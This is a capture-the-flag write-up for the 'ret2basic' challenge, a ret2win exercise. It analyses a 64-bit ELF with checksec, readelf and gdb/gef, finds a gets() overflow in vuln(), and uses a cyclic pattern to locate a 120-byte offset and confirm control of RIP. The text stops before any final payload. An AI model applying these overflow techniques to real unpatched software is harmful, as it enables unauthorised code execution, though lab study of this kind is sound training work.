ret2basic was a basic ret2win based binary exploitation challenge where we Locate a method within the binary that we want to call and do so by overwriting a saved return address on the stack.
Binary Analysis
Taking a peek at the file:
1
2
3
cfx: ~/Documents/nahamcon/binary
→ file ret2basic
ret2basic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3ca85eae693fed659275c0eed9c313e7f0083b85, for GNU/Linux 4.4.0, not stripped
Binary is an 64-bit ELF executable and is not stripped which means we can decompile it with ghidra/cutter and take a look at the code.
Now let’s look at the security features of the binary:
1
2
3
4
5
6
7
8
cfx: ~/Documents/nahamcon/binary
→ checksec ret2basic
[*] '/root/Documents/nahamcon/binary/ret2basic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No Stack canary : Stack Canaries are a secret value placed on the stack which changes every time the program is started. Refer this to learn more about stack canaries.
No PIE : It means ASLR is disabled and the binary will be loaded at fixed base address (i.e. 0x400000)
Lucky for us, it appears this is an basic Stack based Buffer Overflow with ASLR disabled.
Now rather than jumping to Ghidra to decompile the binary, let’s try to analyse it manually and find the vulnerable function and it’s offset.
Segmentation fault
Testing the binary:
1
2
3
4
cfx: ~/Documents/nahamcon/binary
→ ./ret2basic
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAA
Nope :(
Using python3 to generate long string:
1
2
3
cfx: ~/Documents/nahamcon/binary
→ python3 -c "print('A'*200)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sending the string to binary:
1
2
3
4
cfx: ~/Documents/nahamcon/binary
→ ./ret2basic
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
On sending 200 A’s we receive segmentation fault which indicates somewhere we overwrote a address which supposedly caused the binary to crash.
Functions
Next We take a look at the functions inside this binary, we’ll make use of readelf
to dump all the functions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
cfx: ~/Documents/nahamcon/binary
→ readelf -s ret2basic | grep "FUNC"
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (2)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgets@GLIBC_2.2.5 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ftell@GLIBC_2.2.5 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.2.5 (2)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fseek@GLIBC_2.2.5 (2)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
6: 0000000000401140 0 FUNC LOCAL DEFAULT 14 deregister_tm_clones
7: 0000000000401170 0 FUNC LOCAL DEFAULT 14 register_tm_clones
8: 00000000004011b0 0 FUNC LOCAL DEFAULT 14 __do_global_dtors_aux
11: 00000000004011e0 0 FUNC LOCAL DEFAULT 14 frame_dummy
22: 00000000004013d0 5 FUNC GLOBAL DEFAULT 14 __libc_csu_fini
23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5
27: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5
28: 000000000040130f 45 FUNC GLOBAL DEFAULT 14 vuln
31: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fclose@GLIBC_2.2.5
32: 00000000004013d8 0 FUNC GLOBAL HIDDEN 15 _fini
33: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5
34: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5
35: 0000000000000000 0 FUNC GLOBAL DEFAULT UND rewind@GLIBC_2.2.5
36: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_mai[...]
37: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgets@GLIBC_2.2.5
39: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ftell@GLIBC_2.2.5
43: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.2.5
44: 0000000000401360 101 FUNC GLOBAL DEFAULT 14 __libc_csu_init
45: 0000000000000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.2.5
46: 0000000000401215 250 FUNC GLOBAL DEFAULT 14 win
48: 0000000000401130 5 FUNC GLOBAL HIDDEN 14 _dl_relocate_sta[...]
49: 0000000000401100 47 FUNC GLOBAL DEFAULT 14 _start
50: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fseek@GLIBC_2.2.5
52: 000000000040133c 33 FUNC GLOBAL DEFAULT 14 main
53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5
54: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5
57: 0000000000401000 0 FUNC GLOBAL HIDDEN 12 _init
58: 00000000004011e6 47 FUNC GLOBAL DEFAULT 14 setup
We see three interesting functions:
- main
- vuln
- win
Function win
being present pretty much hints toward this challenge being ret2win
Debugging
Let’s move forward with debugging the binary, we’ll use gef which is GDB enhanced features
1
2
3
4
5
6
7
cfx: ~/Documents/nahamcon/binary
→ gdb -q ret2basic
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from ret2basic...
(No debugging symbols found in ret2basic)
We can also see the functions inside the binary using info functions
command in gef :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 free@plt
0x0000000000401040 puts@plt
0x0000000000401050 fclose@plt
0x0000000000401060 setbuf@plt
0x0000000000401070 printf@plt
0x0000000000401080 rewind@plt
0x0000000000401090 fgets@plt
0x00000000004010a0 ftell@plt
0x00000000004010b0 gets@plt
0x00000000004010c0 malloc@plt
0x00000000004010d0 fseek@plt
0x00000000004010e0 fopen@plt
0x00000000004010f0 exit@plt
0x0000000000401100 _start
0x0000000000401130 _dl_relocate_static_pie
0x0000000000401140 deregister_tm_clones
0x0000000000401170 register_tm_clones
0x00000000004011b0 __do_global_dtors_aux
0x00000000004011e0 frame_dummy
0x00000000004011e6 setup
0x0000000000401215 win
0x000000000040130f vuln
0x000000000040133c main
0x0000000000401360 __libc_csu_init
0x00000000004013d0 __libc_csu_fini
0x00000000004013d8 _fini
Next we disassemble main
function:
1
2
3
4
5
6
7
8
9
10
11
12
gef➤ disassemble main
Dump of assembler code for function main:
0x000000000040133c <+0>: push rbp
0x000000000040133d <+1>: mov rbp,rsp
0x0000000000401340 <+4>: mov eax,0x0
0x0000000000401345 <+9>: call 0x40130f <vuln>
0x000000000040134a <+14>: lea rdi,[rip+0xd22] # 0x402073
0x0000000000401351 <+21>: call 0x401040 <puts@plt>
0x0000000000401356 <+26>: mov eax,0x0
0x000000000040135b <+31>: pop rbp
0x000000000040135c <+32>: ret
End of assembler dump.
Here we see main
function calling vuln
function which is probably where the vulnerability is present.
Let’s look at vuln and make sure of it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gef➤ disassemble vuln
Dump of assembler code for function vuln:
0x000000000040130f <+0>: push rbp
0x0000000000401310 <+1>: mov rbp,rsp
0x0000000000401313 <+4>: sub rsp,0x70
0x0000000000401317 <+8>: lea rdi,[rip+0xd3c] # 0x40205a
0x000000000040131e <+15>: mov eax,0x0
0x0000000000401323 <+20>: call 0x401070 <printf@plt>
0x0000000000401328 <+25>: lea rax,[rbp-0x70]
0x000000000040132c <+29>: mov rdi,rax
0x000000000040132f <+32>: mov eax,0x0
0x0000000000401334 <+37>: call 0x4010b0 <gets@plt>
0x0000000000401339 <+42>: nop
0x000000000040133a <+43>: leave
0x000000000040133b <+44>: ret
End of assembler dump.
Bingo ! Here we see vuln
is using gets()
which is where the overflow is existing.
On reading about gets()
using man gets
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead
So now at least we are clear we need to clobber up vuln
for conducting overflow.
Further there is one more function win
left to analyse, we’ll use cutter a reverse engineering tool. We can also use tools like radare, binary ninja .
- Step 1: Open the binary in Cutter and analyse it, once done we should see a functions tab on left side. On selecting
main
function we should see the following graphical view where it’s callingvuln
function:
Looking at functions tab we also see that first we need to reach vuln function and then win
- Step 2: Looking at
vuln
function
Here we see Can you overflow this?
string and the gets()
call.
- Step 3: Peeking at
win
function
Here we understand win
function will allow us to read the flag.txt
once we are able to reach it.
Overflow? Where?
Great ! So now know what needs to be done ? -> we need to reach win
function to read flag.txt
Next, we need to figure out how it needs to be done.
Let’s first send 200 A’s to the binary and analyse the registers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
gef➤ r
Starting program: /root/Documents/nahamcon/binary/ret2basic
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdcf0 ('A' <repeats 200 times>)
RBX: 0x0
RCX: 0x7ffff7f9e980 --> 0xfbad208b
RDX: 0x0
RSI: 0x7ffff7f9ea03 --> 0xfa1680000000000a
RDI: 0x7ffff7fa1680 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdd68 ('A' <repeats 80 times>)
RIP: 0x40133b (<vuln+44>: ret)
R8 : 0x7fffffffdcf0 ('A' <repeats 200 times>)
R9 : 0x0
R10: 0xfffffffffffff24a
R11: 0x246
R12: 0x401100 (<_start>: endbr64)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401334 <vuln+37>: call 0x4010b0 <gets@plt>
0x401339 <vuln+42>: nop
0x40133a <vuln+43>: leave
=> 0x40133b <vuln+44>: ret
0x40133c <main>: push rbp
0x40133d <main+1>: mov rbp,rsp
0x401340 <main+4>: mov eax,0x0
0x401345 <main+9>: call 0x40130f <vuln>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd68 ('A' <repeats 80 times>)
0008| 0x7fffffffdd70 ('A' <repeats 72 times>)
0016| 0x7fffffffdd78 ('A' <repeats 64 times>)
0024| 0x7fffffffdd80 ('A' <repeats 56 times>)
0032| 0x7fffffffdd88 ('A' <repeats 48 times>)
0040| 0x7fffffffdd90 ('A' <repeats 40 times>)
0048| 0x7fffffffdd98 ('A' <repeats 32 times>)
0056| 0x7fffffffdda0 ('A' <repeats 24 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040133b in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffdcf0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx : 0x0
$rcx : 0x00007ffff7f9e980 → 0x00000000fbad208b
$rdx : 0x0
$rsp : 0x00007fffffffdd68 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007ffff7f9ea03 → 0xfa1680000000000a
$rdi : 0x00007ffff7fa1680 → 0x0000000000000000
$rip : 0x000000000040133b → <vuln+44> ret
$r8 : 0x00007fffffffdcf0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r9 : 0x0
$r10 : 0xfffffffffffff24a
$r11 : 0x246
$r12 : 0x0000000000401100 → <_start+0> endbr64
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd68│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rsp
0x00007fffffffdd70│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd78│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd80│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdd88│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffdd90│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffdd98│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffdda0│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAA"
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401334 <vuln+37> call 0x4010b0 <gets@plt>
0x401339 <vuln+42> nop
0x40133a <vuln+43> leave
→ 0x40133b <vuln+44> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2basic", stopped 0x40133b in vuln (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40133b → vuln()
───────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Here we can see the overflow smashing the stack overwriting RSP and RBP to be filled with A’s, causing the ret
from vuln()
to crash.
Now some individual who previously might have seen classic stack buffer overflow’s in HackTheBox or other pentesting labs might be wondering why didn’t we overwrite return instruction pointer (RIP), but instead we caused ret
from vuln()
to crash.
The reason why we didnt overwrite RIP is cause this an 64-bit binary.
Brainstorm: 32-bit vs 64-bit
Some important points with regards to 64-bit:
- General purpose registers have been expanded to 64-bit. So we now have RAX, RBX, RCX, RDX, RSI, and RDI.
- Instruction pointer, base pointer, and stack pointer have also been expanded to 64-bit as RIP, RBP, and RSP respectively.
- Additional registers have been provided: R8 to R15.
- Pointers are 8-bytes wide.
- Push/pop on the stack are 8-bytes wide.
- Maximum canonical address size of 0x00007FFFFFFFFFFF.
- Parameters to functions are passed through registers.
- In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.
In a 32-bit architecture, whenever a buffer is overflown, the register eip gets loaded with the overwritten “saved return address” from stack but that is not the case with 64-bit architecture where the register rip must be loaded with a canonical address else it will never be loaded. Since 0x4141414141414141 (‘A’ = 0x41) doesn’t fall in the required range, it never gets loaded in register rip
So the program crashed as expected, but not because we overwrote RIP with an invalid address. In fact we don’t control RIP at all. As mentioned in 1st point, maximum address size is 0x00007FFFFFFFFFFF. We’re overwriting RIP with a non-canonical address of 0x4141414141414141 which causes the processor to raise an exception. In order to control RIP, we need to overwrite it with 0x0000414141414141 instead.
Offset hunt
So, now we need to find the correct offset !! To do so RBP and RSP should help us as we can see in above stack trace as they do get overwritten with A’s
To determine the exact location in the input buffer where the address to ret to should be, we can use a cycling buffer of 200 characters, we’ll use in built pattern create
from GEF
1
2
3
4
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef1'
Now we’ll send this to the binary:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
gef➤ r
Starting program: /root/Documents/nahamcon/binary/ret2basic
Can you overflow this?: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdcf0 ("aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
RBX: 0x0
RCX: 0x7ffff7f9e980 --> 0xfbad208b
RDX: 0x0
RSI: 0x7ffff7f9ea03 --> 0xfa1680000000000a
RDI: 0x7ffff7fa1680 --> 0x0
RBP: 0x616161616161616f ('oaaaaaaa')
RSP: 0x7fffffffdd68 ("paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
RIP: 0x40133b (<vuln+44>: ret)
R8 : 0x7fffffffdcf0 ("aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
R9 : 0x0
R10: 0xfffffffffffff24a
R11: 0x246
R12: 0x401100 (<_start>: endbr64)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401334 <vuln+37>: call 0x4010b0 <gets@plt>
0x401339 <vuln+42>: nop
0x40133a <vuln+43>: leave
=> 0x40133b <vuln+44>: ret
0x40133c <main>: push rbp
0x40133d <main+1>: mov rbp,rsp
0x401340 <main+4>: mov eax,0x0
0x401345 <main+9>: call 0x40130f <vuln>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd68 ("paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0008| 0x7fffffffdd70 ("qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0016| 0x7fffffffdd78 ("raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0024| 0x7fffffffdd80 ("saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0032| 0x7fffffffdd88 ("taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0040| 0x7fffffffdd90 ("uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0048| 0x7fffffffdd98 ("vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa")
0056| 0x7fffffffdda0 ("waaaaaaaxaaaaaaayaaaaaaa")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040133b in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffdcf0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rbx : 0x0
$rcx : 0x00007ffff7f9e980 → 0x00000000fbad208b
$rdx : 0x0
$rsp : 0x00007fffffffdd68 → "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"
$rbp : 0x616161616161616f ("oaaaaaaa"?)
$rsi : 0x00007ffff7f9ea03 → 0xfa1680000000000a
$rdi : 0x00007ffff7fa1680 → 0x0000000000000000
$rip : 0x000000000040133b → <vuln+44> ret
$r8 : 0x00007fffffffdcf0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$r9 : 0x0
$r10 : 0xfffffffffffff24a
$r11 : 0x246
$r12 : 0x0000000000401100 → <_start+0> endbr64
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd68│+0x0000: "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" ← $rsp
0x00007fffffffdd70│+0x0008: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[...]"
0x00007fffffffdd78│+0x0010: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
0x00007fffffffdd80│+0x0018: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x00007fffffffdd88│+0x0020: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffdd90│+0x0028: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffdd98│+0x0030: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffdda0│+0x0038: "waaaaaaaxaaaaaaayaaaaaaa"
────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401334 <vuln+37> call 0x4010b0 <gets@plt>
0x401339 <vuln+42> nop
0x40133a <vuln+43> leave
→ 0x40133b <vuln+44> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2basic", stopped 0x40133b in vuln (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40133b → vuln()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
As we can see both RSP and RBP are filled with our pattern, let’s make use pattern search
utility from GEF
Examining RSP:
1
2
3
4
gef➤ pattern search $rsp
[+] Searching '$rsp'
[+] Found at offset 120 (little-endian search) likely
[+] Found at offset 113 (big-endian search)
So RIP is at offset 120.
Let’s confirm the same by sending 120 A’s + 6 B’s which should cause RIP to be overwritten as 0x0000424242424242 and by doing so we are loading RIP register with a canonical address.
1
2
3
cfx: ~/Documents/nahamcon/binary
→ python3 -c "print ('A'*120 + 'BBBBBB')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
gef➤ r
Starting program: /root/Documents/nahamcon/binary/ret2basic
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdcf0 ('A' <repeats 120 times>, "BBBBBB")
RBX: 0x0
RCX: 0x7ffff7f9e980 --> 0xfbad208b
RDX: 0x0
RSI: 0x7ffff7f9ea03 --> 0xfa1680000000000a
RDI: 0x7ffff7fa1680 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdd70 --> 0x401360 (<__libc_csu_init>: endbr64)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x7fffffffdcf0 ('A' <repeats 120 times>, "BBBBBB")
R9 : 0x0
R10: 0xfffffffffffff24a
R11: 0x246
R12: 0x401100 (<_start>: endbr64)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd70 --> 0x401360 (<__libc_csu_init>: endbr64)
0008| 0x7fffffffdd78 --> 0x7ffff7e06cca (<__libc_start_main+234>: mov edi,eax)
0016| 0x7fffffffdd80 --> 0x7fffffffde68 --> 0x7fffffffe219 ("/root/Documents/nahamcon/binary/ret2basic")
0024| 0x7fffffffdd88 --> 0x100000000
0032| 0x7fffffffdd90 --> 0x40133c (<main>: push rbp)
0040| 0x7fffffffdd98 --> 0x7ffff7e067d9 (<init_cacheinfo+297>: mov rbp,rax)
0048| 0x7fffffffdda0 --> 0x0
0056| 0x7fffffffdda8 --> 0x96382d43e61f4924
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffdcf0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx : 0x0
$rcx : 0x00007ffff7f9e980 → 0x00000000fbad208b
$rdx : 0x0
$rsp : 0x00007fffffffdd70 → 0x0000000000401360 → <__libc_csu_init+0> endbr64
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007ffff7f9ea03 → 0xfa1680000000000a
$rdi : 0x00007ffff7fa1680 → 0x0000000000000000
$rip : 0x424242424242
$r8 : 0x00007fffffffdcf0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r9 : 0x0
$r10 : 0xfffffffffffff24a
$r11 : 0x246
$r12 : 0x0000000000401100 → <_start+0> endbr64
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd70│+0x0000: 0x0000000000401360 → <__libc_csu_init+0> endbr64 ← $rsp
0x00007fffffffdd78│+0x0008: 0x00007ffff7e06cca → <__libc_start_main+234> mov edi, eax
